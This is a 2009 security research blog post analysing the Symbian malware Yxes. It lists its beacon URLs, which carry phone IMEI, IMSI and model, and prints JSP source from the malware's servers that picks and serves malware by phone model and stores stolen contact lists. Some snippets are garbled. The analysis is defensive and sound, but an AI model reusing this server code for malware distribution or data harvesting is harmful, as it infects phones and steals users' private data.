by RSS Axelle Apvrille  |  Jul 21, 2009  |  Filed in: Security Research

The Symbian malware Yxes is (nearly) keeping me awake these days.

Among other functionalities, it sends HTTP requests to a remote web server. The URLs it gets are the following: - Yxes.A: http://[REMOVED]/Kernel?Version= - Yxes.B or Yxes.E: http://[REMOVED]/Kernel.jsp?Version=&PhoneType= - Yxes.C: no similar URL - Yxes.D: this one issues two different requests: http://[REMOVED]/bs?Version=&PhoneImei=&PhoneImsi=&PhoneType= http://[REMOVED]/number/?PhoneType= http://[REMOVED]/index.jsp?PhoneType= - Yxes.F: http://[REMOVED]/PbkInfo.jsp?PhoneType=&PhoneImei=&PhoneImsi=

TYPE is a string that represents the phone's model. For example, NokiaN95. If the malware is unable to retrieve the phone's model, it returns by default nokia3250. VERSION is the malware's version. Samples in the wild currently have a version number of 1.6 or 1.7 IMEI is the victim's International Mobile Equipment Identity. This number identifies the mobile phone (e.g 358777016741038). IMSI is the victim's International Mobile Subscriber Identity. This number identifies the subscriber. It is stored in the SIM card.

All of these are Java Server Pages (.jsp), a Java technology that dynamically generates HTML pages. By chance, the malicious web servers are not correctly configured: some virtual hosts do not seem to have JSP support enabled. Consequently, the server responds with the source of the JSP instead of the dynamic page! The source code is particularly enlightening. Basically, the behaviour of Kernel.jsp, bs,jsp and index.jsp is close: the malicious web servers (or other remote servers) host several malware (for example different versions of SymbOS/Yxes) and the idea is to select and download to the victim's phone a malware his/her phone supports. This consists in selecting malware depending on the phone's model or user agent.

To do so, the JSPs first retrieve the incoming URL's user agent and parameters:

String sUA = request.getHeader("user-agent") != null?request.getHeader("user-agent"):"NokiaN95"; String sPhoneNumber = request.getParameter("PhoneNumber")==null?"":request.getParameter("PhoneNumber"); String sPhoneType = request.getParameter("PhoneType")==null?"":request.getParameter("PhoneType"); String sVersion = request.getParameter("Version")==null?"":request.getParameter("Version");

Note that samples we analyzed do not set any PhoneNumber argument, so the variable sPhoneNumber is left empty. If the script handles phone's IMEI and IMSI, they are usually logged:

String result = service.addBS_ByLog4j(sPhoneNumber, sPhoneType, "O", sIMEI, sIMSI);

Then, based on phone's model (sPhoneType) or user agent (sUA), the JSPs select file extensions they are interested in.

String sExt = ""; if(!sPhoneType.equals("")) { sExt = nokiaDown.getFileType(sPhoneType.replaceAll(" ",""));" - "+sPhoneType); } else { sExt = nokiaDown.getFileType(sUA.replaceAll(" ",""));; }

For example, on Symbian OS 9.0 or greater, the JSPs look after the .sisx extension (Symbian's installation packages). Then, they build a list of potential files which are suitable for download (the path they look into depends on versions - below the JSP looks into a directory named kernel_new, other versions look into software_new, browser_new etc).

String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER"); FileManager fileManager = new FileManager(); ArrayList fileList = null; String sSoftFolder = ""; fileList = fileManager.getFiles(rootPath+"/download/kernel_new",sExt,null); sSoftFolder = rootPath+"/download/kernel_new/";

Finally, the JSPs randomly select a file within that file list and initiate its download by calling another script named Download.jsp:

int i = new Random().nextInt(fileList.size()); System.out.println(">>>i="+i); String sFilePath = sSoftFolder+fileList.get(i); <jsp:forward page="Download.jsp"> <jsp:param name="FileName" value="<%=URLEncoder.encode(sFilePath,"gb2312") %>"/> <jsp:param name="PhoneType" value="<%=URLEncoder.encode(sPhoneType,"gb2312") %>"/> <jsp:param name="Version" value="<%=URLEncoder.encode(sVersion,"gb2312") %>"/> <jsp:param name="Type" value="Kernel"/> </jsp:forward>

The Download.jsp script builds the HTTP response: it sets the appropriate HTTP MIME type and then dumps the file as an attachment:

if(name.toLowerCase().endsWith(".sis")) { response.setContentType("application/vnd.symbian.install"); } else if(name.toLowerCase().endsWith(".sisx")) { response.setContentType("x-epoc/x-sisx-app"); } ... File file = new File(sFileName); if(file.exists()) { response.setHeader("Content-Disposition","attachment;filename=\""+new String(name.getBytes("gb2312"),"iso-8859-1")+"\""); try { String sHeader = ""; OutputStream os = response.getOutputStream(); ... FileInputStream fis = new FileInputStream(file); byte[] b = new byte[1024]; int i=0; while((!=-1) { os.write(b,0,i); } fis.close(); os.flush(); os.close(); } }

Those scripts ensure a victim is infected with several malware in a row. For instance, a victim who receives an SMS sent by Transmitter.C and visits the URL first downloads a copy of SymbOS/Yxes.E!worm. In turn, SymbOS/Yxes.E!worm downloads and infects the phone with SymbOS/Yxes.D!worm or SymbOS/Yxes.F!tr.

The PbkInfo.jsp script is different. It does not download any file, but uploads information to the server. The content of the HTTP request is copied on the server in data/Upload/Pbk with name __.txt where DATE is the current date, and IMEI and IMSI are the phone's IMEI and IMSI.

String content = ""; InputStream in = request.getInputStream(); byte[] buf = new byte[1024]; int i = 0; while((!=-1){ content += new String(buf,0,i,"utf-8"); System.out.println("content added"); } in.close(); ... SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss"); String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER"); File file = new File(rootPath+"/data/Upload/Pbk/"+sdf.format(new java.util.Date())+"_"+sIMEI+"_"+sIMSI+".txt"); FileWriter writer = new FileWriter(file); writer.write(content); writer.close();

So, for example, if the malware issues an HTTP request such as http://[REMOVED]/PbkInfo.jsp?PhoneType=nokia3250&PhoneImei=123456789&PhoneImsi=00456, with as content a listing of all phone's contact, then the JSP creates a file named 20090716170010_123456789_00456.txt and dumps the contact into the file. No doubt this is valuable marketing information...

Fortunately, the whole picture does not quite work because web servers are misconfigured, because the JSP scripts haven't been properly debugged (missing escape sequences etc)... or because the Symbian malware themselves are bugged. For instance, though the intent is clear, I haven't managed so far to get SymbOS/Yxes send any SMS or successfully connect to the Internet on a Nokia N95 (and, as a matter of fact, I'd be interested in hearing about how anybody succeeded: what mobile phone, conditions etc). Even if it is annoying to investigate bugged programs, I am not sure I should wish malware authors debug their malware. ;-)

-- The Crypto Girl.

PS. Thanks to Dong Xie, Jie Zhang and David Maciejak for their help on this topic.

by RSS Axelle Apvrille  |  Jul 21, 2009  |  Filed in: Security Research